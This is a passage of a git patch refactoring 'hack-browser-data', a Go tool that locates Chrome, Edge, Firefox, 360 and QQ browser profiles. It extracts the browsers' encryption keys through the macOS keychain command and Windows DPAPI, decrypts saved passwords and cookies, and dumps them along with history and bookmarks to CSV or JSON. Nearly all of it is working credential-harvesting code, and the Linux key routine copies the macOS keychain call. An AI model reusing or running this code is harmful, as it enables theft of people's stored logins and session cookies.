From 07149e20b48c310ce9772e5d1511dba2f2685f90 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?= Date: Wed, 22 Jul 2020 15:49:31 +0800 Subject: [PATCH] refactor: format code with interface Closes #13 --- cmd/cmd.go | 53 +- core/browser.go | 393 ++++++++++++ core/browser_darwin.go | 69 +++ core/browser_linux.go | 58 ++ core/browser_windows.go | 85 +++ core/common/output.go | 218 +++++++ core/{common.go => common/parse.go} | 583 ++++++++++-------- core/decrypt/decrypt.go | 85 +++ core/decrypt/decrypt_darwin.go | 115 ++++ .../decrypt/decrypt_linux.go | 60 +- .../decrypt/decrypt_windows.go | 90 +-- core/output.go | 156 ----- core/sort.go | 13 - utils/utils.go | 23 +- utils/utils_darwin.go | 190 ------ 15 files changed, 1385 insertions(+), 806 deletions(-) create mode 100644 core/browser.go create mode 100644 core/browser_darwin.go create mode 100644 core/browser_linux.go create mode 100644 core/browser_windows.go create mode 100644 core/common/output.go rename core/{common.go => common/parse.go} (58%) create mode 100644 core/decrypt/decrypt.go create mode 100644 core/decrypt/decrypt_darwin.go rename utils/utils_linux.go => core/decrypt/decrypt_linux.go (71%) rename utils/utils_windows.go => core/decrypt/decrypt_windows.go (71%) delete mode 100644 core/output.go delete mode 100644 core/sort.go delete mode 100644 utils/utils_darwin.go diff --git a/cmd/cmd.go b/cmd/cmd.go index 3dba27e..0f8c591 100644 --- a/cmd/cmd.go +++ b/cmd/cmd.go @@ -5,7 +5,6 @@ import ( "hack-browser-data/log" "hack-browser-data/utils" "os" - "path/filepath" "strings" "github.com/urfave/cli/v2" @@ -27,7 +26,7 @@ func Execute() { Version: "0.1.0", Flags: []cli.Flag{ &cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "Verbose"}, - &cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browser, Value: "chrome", Usage: "Available browsers: " + strings.Join(utils.ListBrowser(), "|")}, + &cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browser, Value: "all", Usage: "Available browsers: all|" + strings.Join(core.ListBrowser(), "|")}, &cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "Export dir"}, &cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "Format, csv|json"}, &cli.StringFlag{Name: "export-data", Aliases: []string{"e"}, Destination: &exportData, Value: "all", Usage: "all|password|cookie|history|bookmark"}, @@ -40,58 +39,22 @@ func Execute() { } else { log.InitLog("error") } - browserDir, key, err := utils.PickBrowser(browser) + browsers, err := core.PickBrowsers(browser) if err != nil { - log.Fatal(err, " Available browsers: "+strings.Join(utils.ListBrowser(), "|")) + log.Error(err) } - if browser != "firefox" { - err = utils.InitKey(key) - if err != nil { - log.Fatal(err, "Please Open an issue on GitHub") - } - var fileList []string - switch exportData { - case "all": - fileList = utils.GetDBPath(browserDir, utils.LoginData, utils.History, utils.Bookmarks, utils.Cookies) - case "password", "cookie", "history", "bookmark": - fileList = utils.GetDBPath(browserDir, exportData) - default: - log.Fatal("Choose one from all|password|cookie|history|bookmark") - } - for _, v := range fileList { - dst := filepath.Base(v) - err := utils.CopyDB(v, dst) - if err != nil { - log.Debug(err) - continue - } - core.ParseResult(dst) - } - } else { - fileList := utils.GetDBPath(browserDir, utils.FirefoxLoginData, utils.FirefoxKey4DB, utils.FirefoxCookie, utils.FirefoxData) - log.Error("fileList", fileList) - for _, v := range fileList { - dst := filepath.Base(v) - err := utils.CopyDB(v, dst) - if err != nil { - log.Debug(err) - continue - } - core.ParseResult(dst) - } - } - core.FullData.Sorted() utils.MakeDir(exportDir) - if outputFormat == "json" { - err := core.FullData.OutPutJson(exportDir, browser, outputFormat) + for _, v := range browsers { + err := v.InitSecretKey() if err != nil { log.Error(err) } - } else { - err := core.FullData.OutPutCsv(exportDir, browser, outputFormat) + err = v.GetProfilePath(exportData) if err != nil { log.Error(err) } + v.ParseDB() + v.OutPut(exportDir, outputFormat) } return nil }, diff --git a/core/browser.go b/core/browser.go new file mode 100644 index 0000000..a70239c --- /dev/null +++ b/core/browser.go @@ -0,0 +1,393 @@ +package core + +import ( + "errors" + "hack-browser-data/core/common" + "hack-browser-data/log" + "hack-browser-data/utils" + "path/filepath" + "strings" +) + +const ( + chromeName = "Chrome" + edgeName = "Microsoft Edge" + firefoxName = "Firefox" + speed360Name = "360speed" + qqBrowserName = "qq" +) + +type Browser interface { + GetProfilePath(filename string) (err error) + InitSecretKey() error + ParseDB() + OutPut(dir, format string) +} + +type chromium struct { + ProfilePath string + KeyPath string + Name string + SecretKey []byte + FileLists []FileList + Data common.BrowserData +} + +type firefox struct { + ProfilePath string + KeyPath string + Name string + FileLists []FileList + Data common.BrowserData +} + +type FileList struct { + name string + mainFile string + mainPath string + subFile string + subPath string +} + +const ( + cookie = "cookie" + history = "history" + bookmark = "bookmark" + password = "password" +) + +var ( + ErrDataNotSupported = errors.New(`not supported, default is "all", choose from history|password|bookmark|cookie`) + ErrBrowserNotSupported = errors.New("browser not supported") + chromiumParseList = map[string]FileList{ + cookie: { + name: cookie, + mainFile: common.ChromeCookies, + }, + history: { + name: history, + mainFile: common.ChromeHistory, + }, + bookmark: { + name: bookmark, + mainFile: common.ChromeBookmarks, + }, + password: { + name: password, + mainFile: common.ChromePassword, + }, + } + firefoxParseList = map[string]FileList{ + cookie: { + name: cookie, + mainFile: common.FirefoxCookie, + }, + history: { + name: history, + mainFile: common.FirefoxData, + }, + bookmark: { + name: bookmark, + mainFile: common.FirefoxData, + }, + password: { + name: password, + mainFile: common.FirefoxKey4DB, + subFile: common.FirefoxLoginData, + }, + } +) + +func (c *chromium) GetProfilePath(filename string) (err error) { + filename = strings.ToLower(filename) + if filename == "all" { + for _, v := range chromiumParseList { + m, err := filepath.Glob(c.ProfilePath + v.mainFile) + if err != nil { + log.Error(err) + continue + } + if len(m) > 0 { + log.Debugf("%s find %s File Success", c.Name, v.name) + log.Debugf("%s file location is %s", v, m[0]) + v.mainPath = m[0] + c.FileLists = append(c.FileLists, v) + } else { + log.Errorf("%+v find %s failed", c.Name, v.name) + } + } + } else if v, ok := chromiumParseList[filename]; ok { + m, err := filepath.Glob(c.ProfilePath + v.mainFile) + if err != nil { + log.Error(err) + } + if len(m) > 0 { + log.Debugf("%s find %s File Success", c.Name, v) + log.Debugf("%s file location is %s", v, m[0]) + v.mainPath = m[0] + c.FileLists = append(c.FileLists, v) + } + } else { + return ErrDataNotSupported + } + return nil +} + +func (c *chromium) ParseDB() { + for _, v := range c.FileLists { + err := utils.CopyDB(v.mainPath, filepath.Base(v.mainPath)) + if err != nil { + log.Error(err) + } + switch v.name { + case bookmark: + if err := chromeParse(c.SecretKey, &c.Data.Bookmarks); err != nil { + log.Error(err) + } + case history: + if err := chromeParse(c.SecretKey, &c.Data.History); err != nil { + log.Error(err) + } + case password: + if err := chromeParse(c.SecretKey, &c.Data.Logins); err != nil { + log.Error(err) + } + case cookie: + if err := chromeParse(c.SecretKey, &c.Data.Cookies); err != nil { + log.Error(err) + } + } + } +} + +func (c *chromium) OutPut(dir, format string) { + c.Data.Sorted() + switch format { + case "json": + for _, v := range c.FileLists { + switch v.name { + case bookmark: + if err := outPutJson(c.Name, dir, &c.Data.Bookmarks); err != nil { + log.Error(err) + } + case history: + if err := outPutJson(c.Name, dir, &c.Data.History); err != nil { + log.Error(err) + } + case password: + if err := outPutJson(c.Name, dir, &c.Data.Logins); err != nil { + log.Error(err) + } + case cookie: + if err := outPutJson(c.Name, dir, &c.Data.Cookies); err != nil { + log.Error(err) + } + } + } + case "csv": + for _, v := range c.FileLists { + switch v.name { + case bookmark: + if err := outPutCsv(c.Name, dir, &c.Data.Bookmarks); err != nil { + log.Error(err) + } + case history: + if err := outPutCsv(c.Name, dir, &c.Data.History); err != nil { + log.Error(err) + } + case password: + if err := outPutCsv(c.Name, dir, &c.Data.Logins); err != nil { + log.Error(err) + } + case cookie: + if err := outPutCsv(c.Name, dir, &c.Data.Cookies); err != nil { + log.Error(err) + } + } + } + } +} + +func decryptChromium(profile, key, name string) (Browser, error) { + return &chromium{ProfilePath: profile, KeyPath: key, Name: name}, nil +} + +func (f *firefox) ParseDB() { + for _, v := range f.FileLists { + err := utils.CopyDB(v.mainPath, filepath.Base(v.mainPath)) + if v.subPath != "" { + err := utils.CopyDB(v.subPath, filepath.Base(v.subPath)) + if err != nil { + log.Error(err) + } + } + if err != nil { + log.Error(err) + } + switch v.name { + case password: + if err := firefoxParse(&f.Data.Logins); err != nil { + log.Error(err) + } + case bookmark: + if err := firefoxParse(&f.Data.Bookmarks); err != nil { + log.Error(err) + } + case history: + if err := firefoxParse(&f.Data.History); err != nil { + log.Error(err) + } + case cookie: + if err := firefoxParse(&f.Data.Cookies); err != nil { + log.Error(err) + } + } + } +} + +func (f *firefox) GetProfilePath(filename string) (err error) { + filename = strings.ToLower(filename) + if filename == "all" { + for _, v := range firefoxParseList { + m, err := filepath.Glob(f.ProfilePath + v.mainFile) + if v.subFile != "" { + s, err := filepath.Glob(f.ProfilePath + v.subFile) + if err != nil { + log.Error(err) + continue + } + if len(s) > 0 { + log.Debugf("%s find %s File Success", f.Name, v.name) + log.Debugf("%s file location is %s", v, s[0]) + v.subPath = s[0] + } + } + if err != nil { + log.Error(err) + continue + } + if len(m) > 0 { + log.Debugf("%s find %s File Success", f.Name, v.name) + log.Debugf("%+v file location is %s", v, m[0]) + v.mainPath = m[0] + f.FileLists = append(f.FileLists, v) + } else { + log.Errorf("%s find %s failed", f.Name, v.name) + } + } + } else if v, ok := firefoxParseList[filename]; ok { + m, err := filepath.Glob(f.ProfilePath + v.mainFile) + if err != nil { + log.Error(err) + } + if len(m) > 0 { + log.Debugf("%s find %s File Success", f.Name, v) + log.Debugf("%s file location is %s", v, m[0]) + v.mainPath = m[0] + f.FileLists = append(f.FileLists, v) + } + } else { + return ErrDataNotSupported + } + return nil +} + +func (f *firefox) OutPut(dir, format string) { + f.Data.Sorted() + switch format { + case "json": + for _, v := range f.FileLists { + switch v.name { + case bookmark: + if err := outPutJson(f.Name, dir, &f.Data.Bookmarks); err != nil { + log.Error(err) + } + case history: + if err := outPutJson(f.Name, dir, &f.Data.History); err != nil { + log.Error(err) + } + case password: + if err := outPutJson(f.Name, dir, &f.Data.Logins); err != nil { + log.Error(err) + } + case cookie: + if err := outPutJson(f.Name, dir, &f.Data.Cookies); err != nil { + log.Error(err) + } + } + } + case "csv": + for _, v := range f.FileLists { + switch v.name { + case bookmark: + if err := outPutCsv(f.Name, dir, &f.Data.Bookmarks); err != nil { + log.Error(err) + } + case history: + if err := outPutCsv(f.Name, dir, &f.Data.History); err != nil { + log.Error(err) + } + case password: + if err := outPutCsv(f.Name, dir, &f.Data.Logins); err != nil { + log.Error(err) + } + case cookie: + if err := outPutCsv(f.Name, dir, &f.Data.Cookies); err != nil { + log.Error(err) + } + } + } + } +} + +func (f *firefox) InitSecretKey() error { + return nil +} + +func decryptFirefox(profile, key, name string) (Browser, error) { + return &firefox{ProfilePath: profile, KeyPath: key, Name: name}, nil +} + +func PickBrowsers(name string) ([]Browser, error) { + var browsers []Browser + name = strings.ToLower(name) + if name == "all" { + for _, v := range browserList { + b, err := v.New(v.ProfilePath, v.KeyPath, v.Name) + if err != nil { + log.Error(err) + } + browsers = append(browsers, b) + } + return browsers, nil + } else if choice, ok := browserList[name]; ok { + b, err := choice.New(choice.ProfilePath, choice.KeyPath, choice.Name) + browsers = append(browsers, b) + return browsers, err + } + return nil, ErrBrowserNotSupported +} + +func chromeParse(key []byte, f common.Formatter) error { + return f.ChromeParse(key) +} + +func firefoxParse(f common.Formatter) error { + return f.FirefoxParse() +} + +func outPutJson(name, dir string, f common.Formatter) error { + return f.OutPutJson(name, dir) +} + +func outPutCsv(name, dir string, f common.Formatter) error { + return f.OutPutCsv(name, dir) +} + +func ListBrowser() []string { + var l []string + for k := range browserList { + l = append(l, k) + } + return l +} diff --git a/core/browser_darwin.go b/core/browser_darwin.go new file mode 100644 index 0000000..88c7f24 --- /dev/null +++ b/core/browser_darwin.go @@ -0,0 +1,69 @@ +package core + +import ( + "bytes" + "crypto/sha1" + "errors" + "hack-browser-data/log" + "os/exec" + + "golang.org/x/crypto/pbkdf2" +) + +const ( + chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/" + edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/" + fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release/" +) + +var ( + browserList = map[string]struct { + ProfilePath string + Name string + KeyPath string + New func(profile, key, name string) (Browser, error) + }{ + "chrome": { + ProfilePath: chromeProfilePath, + Name: chromeName, + New: decryptChromium, + }, + "edge": { + ProfilePath: edgeProfilePath, + Name: edgeName, + New: decryptChromium, + }, + "firefox": { + ProfilePath: fireFoxProfilePath, + Name: firefoxName, + New: decryptFirefox, + }, + } +) + +func (c *chromium) InitSecretKey() error { + var ( + cmd *exec.Cmd + stdout, stderr bytes.Buffer + ) + //➜ security find-generic-password -wa 'Chrome' + cmd = exec.Command("security", "find-generic-password", "-wa", c.Name) + cmd.Stdout = &stdout + cmd.Stderr = &stderr + err := cmd.Run() + if err != nil { + log.Error(err) + return err + } + if stderr.Len() > 0 { + err = errors.New(stderr.String()) + log.Error(err) + } + temp := stdout.Bytes() + chromePass := temp[:len(temp)-1] + var chromeSalt = []byte("saltysalt") + // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 + key := pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New) + c.SecretKey = key + return err +} diff --git a/core/browser_linux.go b/core/browser_linux.go new file mode 100644 index 0000000..9453d04 --- /dev/null +++ b/core/browser_linux.go @@ -0,0 +1,58 @@ +package core + +import ( + "bytes" + "crypto/sha1" + "errors" + "hack-browser-data/log" + "os/exec" + + "golang.org/x/crypto/pbkdf2" +) + +const ( + fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default-release/" + fireFoxCommand = "" +) + +var ( + browserList = map[string]struct { + ProfilePath string + Name string + KeyPath string + New func(profile, key, name string) (Browser, error) + }{ + "firefox": { + ProfilePath: fireFoxProfilePath, + Name: fireFoxCommand, + New: decryptFirefox, + }, + } +) + +func (c *chromium) InitSecretKey() error { + var ( + cmd *exec.Cmd + stdout, stderr bytes.Buffer + ) + //➜ security find-generic-password -wa 'Chrome' + cmd = exec.Command("security", "find-generic-password", "-wa", c.Name) + cmd.Stdout = &stdout + cmd.Stderr = &stderr + err := cmd.Run() + if err != nil { + log.Error(err) + return err + } + if stderr.Len() > 0 { + err = errors.New(stderr.String()) + log.Error(err) + } + temp := stdout.Bytes() + chromePass := temp[:len(temp)-1] + var chromeSalt = []byte("saltysalt") + // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 + key := pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New) + c.SecretKey = key + return err +} diff --git a/core/browser_windows.go b/core/browser_windows.go new file mode 100644 index 0000000..3e5cd29 --- /dev/null +++ b/core/browser_windows.go @@ -0,0 +1,85 @@ +package core + +import ( + "encoding/base64" + "errors" + "hack-browser-data/core/decrypt" + "hack-browser-data/utils" + "os" + + "github.com/tidwall/gjson" +) + +const ( + chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/" + chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State" + edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/*/" + edgeKeyPath = "/AppData/Local/Microsoft/Edge/User Data/Local State" + speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/" + speed360KeyPath = "" + qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/" + qqBrowserKeyPath = "" + firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release/" + firefoxKeyPath = "" +) + +var ( + browserList = map[string]struct { + ProfilePath string + Name string + KeyPath string + New func(profile, key, name string) (Browser, error) + }{ + "chrome": { + ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath, + KeyPath: os.Getenv("USERPROFILE") + chromeKeyPath, + Name: chromeName, + New: decryptChromium, + }, + "edge": { + ProfilePath: os.Getenv("USERPROFILE") + edgeProfilePath, + KeyPath: os.Getenv("USERPROFILE") + edgeKeyPath, + Name: edgeName, + New: decryptChromium, + }, + "360": { + ProfilePath: os.Getenv("USERPROFILE") + speed360ProfilePath, + Name: speed360Name, + New: decryptChromium, + }, + "qq": { + ProfilePath: os.Getenv("USERPROFILE") + qqBrowserProfilePath, + Name: qqBrowserName, + New: decryptChromium, + }, + "firefox": { + ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath, + Name: firefoxName, + New: decryptFirefox, + }, + } +) + +var ( + errBase64DecodeFailed = errors.New("decode base64 failed") +) + +func (c *chromium) InitSecretKey() error { + if c.KeyPath == "" { + return nil + } + keyFile, err := utils.ReadFile(c.KeyPath) + if err != nil { + return err + } + encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key") + if encryptedKey.Exists() { + pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String()) + if err != nil { + return errBase64DecodeFailed + } + c.SecretKey, err = decrypt.DPApi(pureKey[5:]) + return err + } + return nil +} diff --git a/core/common/output.go b/core/common/output.go new file mode 100644 index 0000000..ed092c8 --- /dev/null +++ b/core/common/output.go @@ -0,0 +1,218 @@ +package common + +import ( + "bytes" + "encoding/json" + "fmt" + "hack-browser-data/log" + "hack-browser-data/utils" + "os" + + "github.com/jszwec/csvutil" +) + +var utf8Bom = []byte{239, 187, 191} + +func (b *Bookmarks) OutPutJson(browser, dir string) error { + filename := utils.FormatFileName(dir, browser, "bookmark", "json") + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer func() { + if err := file.Close(); err != nil { + log.Error(err) + } + }() + + if err != nil { + log.Errorf("create file %s fail", filename) + return err + } + w := new(bytes.Buffer) + enc := json.NewEncoder(w) + enc.SetEscapeHTML(false) + enc.SetIndent("", "\t") + enc.Encode(b.bookmarks) + _, err = file.Write(w.Bytes()) + if err != nil { + log.Error(err) + return err + } + fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.bookmarks), filename) + return nil +} + +func (h *History) OutPutJson(browser, dir string) error { + filename := utils.FormatFileName(dir, browser, "history", "json") + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer func() { + if err := file.Close(); err != nil { + log.Error(err) + } + }() + if err != nil { + log.Errorf("create file %s fail", filename) + return err + } + w := new(bytes.Buffer) + enc := json.NewEncoder(w) + enc.SetEscapeHTML(false) + enc.SetIndent("", "\t") + err = enc.Encode(h.history) + if err != nil { + log.Debug(err) + } + _, err = file.Write(w.Bytes()) + if err != nil { + log.Error(err) + return err + } + fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(h.history), filename) + return nil +} + +func (l *Logins) OutPutJson(browser, dir string) error { + filename := utils.FormatFileName(dir, browser, "password", "json") + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer func() { + if err := file.Close(); err != nil { + log.Error(err) + } + }() + if err != nil { + log.Errorf("create file %s fail", filename) + return err + } + w := new(bytes.Buffer) + enc := json.NewEncoder(w) + enc.SetEscapeHTML(false) + enc.SetIndent("", "\t") + err = enc.Encode(l.logins) + if err != nil { + log.Debug(err) + } + _, err = file.Write(w.Bytes()) + if err != nil { + log.Error(err) + return err + } + fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(l.logins), filename) + return nil +} + +func (c *Cookies) OutPutJson(browser, dir string) error { + filename := utils.FormatFileName(dir, browser, "cookie", "json") + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer func() { + if err := file.Close(); err != nil { + log.Error(err) + } + }() + if err != nil { + log.Errorf("create file %s fail", filename) + return err + } + w := new(bytes.Buffer) + enc := json.NewEncoder(w) + enc.SetEscapeHTML(false) + enc.SetIndent("", "\t") + err = enc.Encode(c.cookies) + if err != nil { + log.Debug(err) + return err + } + _, err = file.Write(w.Bytes()) + if err != nil { + log.Error(err) + return err + } + fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(c.cookies), filename) + return nil +} + +func (b *Bookmarks) OutPutCsv(browser, dir string) error { + filename := utils.FormatFileName(dir, browser, "bookmark", "csv") + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer func() { + if err := file.Close(); err != nil { + log.Error(err) + } + }() + if err != nil { + log.Errorf("create file %s fail %s", filename, err) + return err + } + file.Write(utf8Bom) + data, err := csvutil.Marshal(b.bookmarks) + if err != nil { + return err + } + file.Write(data) + fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.bookmarks), filename) + return nil +} + +func (h *History) OutPutCsv(browser, dir string) error { + filename := utils.FormatFileName(dir, browser, "history", "csv") + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer func() { + if err := file.Close(); err != nil { + log.Error(err) + } + }() + if err != nil { + log.Errorf("create file %s fail %s", filename, err) + return err + } + file.Write(utf8Bom) + data, err := csvutil.Marshal(h.history) + if err != nil { + return err + } + file.Write(data) + fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(h.history), filename) + return nil +} + +func (l *Logins) OutPutCsv(browser, dir string) error { + filename := utils.FormatFileName(dir, browser, "password", "csv") + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer func() { + if err := file.Close(); err != nil { + log.Error(err) + } + }() + if err != nil { + log.Errorf("create file %s fail %s", filename, err) + return err + } + file.Write(utf8Bom) + data, err := csvutil.Marshal(l.logins) + if err != nil { + return err + } + file.Write(data) + fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(l.logins), filename) + return nil +} + +func (c *Cookies) OutPutCsv(browser, dir string) error { + filename := utils.FormatFileName(dir, browser, "cookie", "csv") + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer func() { + if err := file.Close(); err != nil { + log.Error(err) + } + }() + if err != nil { + log.Errorf("create file %s fail", filename) + return err + } + var tempSlice []cookies + for _, v := range c.cookies { + tempSlice = append(tempSlice, v...) + } + file.Write(utf8Bom) + data, err := csvutil.Marshal(tempSlice) + file.Write(data) + fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(c.cookies), filename) + return nil +} diff --git a/core/common.go b/core/common/parse.go similarity index 58% rename from core/common.go rename to core/common/parse.go index 3a617b1..8ce70c2 100644 --- a/core/common.go +++ b/core/common/parse.go @@ -1,14 +1,15 @@ -package core +package common import ( "bytes" "database/sql" "encoding/base64" - "encoding/hex" + "hack-browser-data/core/decrypt" "hack-browser-data/log" "hack-browser-data/utils" "io/ioutil" "os" + "sort" "time" _ "github.com/mattn/go-sqlite3" @@ -16,30 +17,40 @@ import ( ) const ( - bookmarkID = "id" - bookmarkAdded = "date_added" - bookmarkUrl = "url" - bookmarkName = "name" - bookmarkType = "type" - bookmarkChildren = "children" + ChromePassword = "Login Data" + ChromeHistory = "History" + ChromeCookies = "Cookies" + ChromeBookmarks = "Bookmarks" + FirefoxCookie = "cookies.sqlite" + FirefoxKey4DB = "key4.db" + FirefoxLoginData = "logins.json" + FirefoxData = "places.sqlite" + FirefoxKey3DB = "key3.db" ) -var ( - FullData = new(BrowserData) +type ( + BrowserData struct { + Logins + Bookmarks + History + Cookies + } + Logins struct { + logins []loginData + } + Bookmarks struct { + bookmarks []bookmark + } + History struct { + history []history + } + Cookies struct { + cookies map[string][]cookies + } ) type ( - BrowserData struct { - LoginDataSlice - BookmarkSlice - CookieMap - HistorySlice - } - LoginDataSlice []loginData - BookmarkSlice []bookmarks - CookieMap map[string][]cookies - HistorySlice []history - loginData struct { + loginData struct { UserName string encryptPass []byte encryptUser []byte @@ -47,7 +58,7 @@ type ( LoginUrl string CreateDate time.Time } - bookmarks struct { + bookmark struct { ID int64 Name string Type string @@ -75,56 +86,42 @@ type ( } ) -func ParseResult(dbname string) { - switch dbname { - case utils.Bookmarks: - parseBookmarks() - case utils.History: - parseHistory() - case utils.Cookies: - parseCookie() - case utils.LoginData: - parseLogin() - case utils.FirefoxCookie: - parseFirefoxCookie() - case utils.FirefoxKey4DB: - parseFirefoxKey4() - case utils.FirefoxData: - parseFirefoxData() - } -} - -var bookmarkList BookmarkSlice +const ( + bookmarkID = "id" + bookmarkAdded = "date_added" + bookmarkUrl = "url" + bookmarkName = "name" + bookmarkType = "type" + bookmarkChildren = "children" +) -func parseBookmarks() { - bookmarks, err := utils.ReadFile(utils.Bookmarks) +func (b *Bookmarks) ChromeParse(key []byte) error { + bookmarks, err := utils.ReadFile(ChromeBookmarks) defer func() { - if err := os.Remove(utils.Bookmarks); err != nil { + if err := os.Remove(ChromeBookmarks); err != nil { log.Error(err) } }() if err != nil { log.Debug(err) + return err } r := gjson.Parse(bookmarks) if r.Exists() { roots := r.Get("roots") roots.ForEach(func(key, value gjson.Result) bool { - getBookmarkChildren(value) + getBookmarkChildren(value, b) return true }) } - FullData.BookmarkSlice = bookmarkList + return nil } -var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` - -func parseLogin() { - var loginItemList LoginDataSlice +func (l *Logins) ChromeParse(key []byte) error { login := loginData{} - loginDB, err := sql.Open("sqlite3", utils.LoginData) + loginDB, err := sql.Open("sqlite3", ChromePassword) defer func() { - if err := os.Remove(utils.LoginData); err != nil { + if err := os.Remove(ChromePassword); err != nil { log.Error(err) } }() @@ -135,8 +132,10 @@ func parseLogin() { }() if err != nil { log.Debug(err) + return err } err = loginDB.Ping() + var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` rows, err := loginDB.Query(queryLogin) defer func() { if err := rows.Close(); err != nil { @@ -145,9 +144,9 @@ func parseLogin() { }() for rows.Next() { var ( - url, username, password string - pwd []byte - create int64 + url, username string + pwd, password []byte + create int64 ) err = rows.Scan(&url, &username, &pwd, &create) login = loginData{ @@ -155,10 +154,10 @@ func parseLogin() { encryptPass: pwd, LoginUrl: url, } - if utils.VersionUnder80 { - password, err = utils.DecryptStringWithDPAPI(pwd) + if key == nil { + password, err = decrypt.DPApi(pwd) } else { - password, err = utils.DecryptChromePass(pwd) + password, err = decrypt.ChromePass(key, pwd) } if create > time.Now().Unix() { login.CreateDate = utils.TimeEpochFormat(create) @@ -166,36 +165,55 @@ func parseLogin() { login.CreateDate = utils.TimeStampFormat(create) } - login.Password = password + login.Password = string(password) if err != nil { log.Debug(err) } - loginItemList = append(loginItemList, login) + l.logins = append(l.logins, login) } - FullData.LoginDataSlice = loginItemList + return nil } -var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` +func getBookmarkChildren(value gjson.Result, b *Bookmarks) (children gjson.Result) { + bm := bookmark{} + bm.ID = value.Get(bookmarkID).Int() + nodeType := value.Get(bookmarkType) + bm.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()) + bm.URL = value.Get(bookmarkUrl).String() + bm.Name = value.Get(bookmarkName).String() + children = value.Get(bookmarkChildren) + if nodeType.Exists() { + bm.Type = nodeType.String() + b.bookmarks = append(b.bookmarks, bm) + if children.Exists() && children.IsArray() { + for _, v := range children.Array() { + children = getBookmarkChildren(v, b) + } + } + } + return children +} -func parseCookie() { - cookie := cookies{} - cookieMap := make(map[string][]cookies) - cookieDB, err := sql.Open("sqlite3", utils.Cookies) +func (h *History) ChromeParse(key []byte) error { + data := history{} + historyDB, err := sql.Open("sqlite3", ChromeHistory) defer func() { - if err := os.Remove(utils.Cookies); err != nil { + if err := os.Remove(ChromeHistory); err != nil { log.Error(err) } }() defer func() { - if err := cookieDB.Close(); err != nil { + if err := historyDB.Close(); err != nil { log.Debug(err) } }() if err != nil { log.Debug(err) + return err } - err = cookieDB.Ping() - rows, err := cookieDB.Query(queryCookie) + err = historyDB.Ping() + var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` + rows, err := historyDB.Query(queryHistory) defer func() { if err := rows.Close(); err != nil { log.Debug(err) @@ -203,62 +221,48 @@ func parseCookie() { }() for rows.Next() { var ( - key, host, path, value string - isSecure, isHTTPOnly, hasExpire, isPersistent int - createDate, expireDate int64 - encryptValue []byte + url, title string + visitCount int + lastVisitTime int64 ) - err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent) - cookie = cookies{ - KeyName: key, - Host: host, - Path: path, - encryptValue: encryptValue, - IsSecure: utils.IntToBool(isSecure), - IsHTTPOnly: utils.IntToBool(isHTTPOnly), - HasExpire: utils.IntToBool(hasExpire), - IsPersistent: utils.IntToBool(isPersistent), - CreateDate: utils.TimeEpochFormat(createDate), - ExpireDate: utils.TimeEpochFormat(expireDate), - } - // remove prefix 'v10' - if utils.VersionUnder80 { - value, err = utils.DecryptStringWithDPAPI(encryptValue) - } else { - value, err = utils.DecryptChromePass(encryptValue) + err := rows.Scan(&url, &title, &visitCount, &lastVisitTime) + data = history{ + Url: url, + Title: title, + VisitCount: visitCount, + LastVisitTime: utils.TimeEpochFormat(lastVisitTime), } - - cookie.Value = value - if 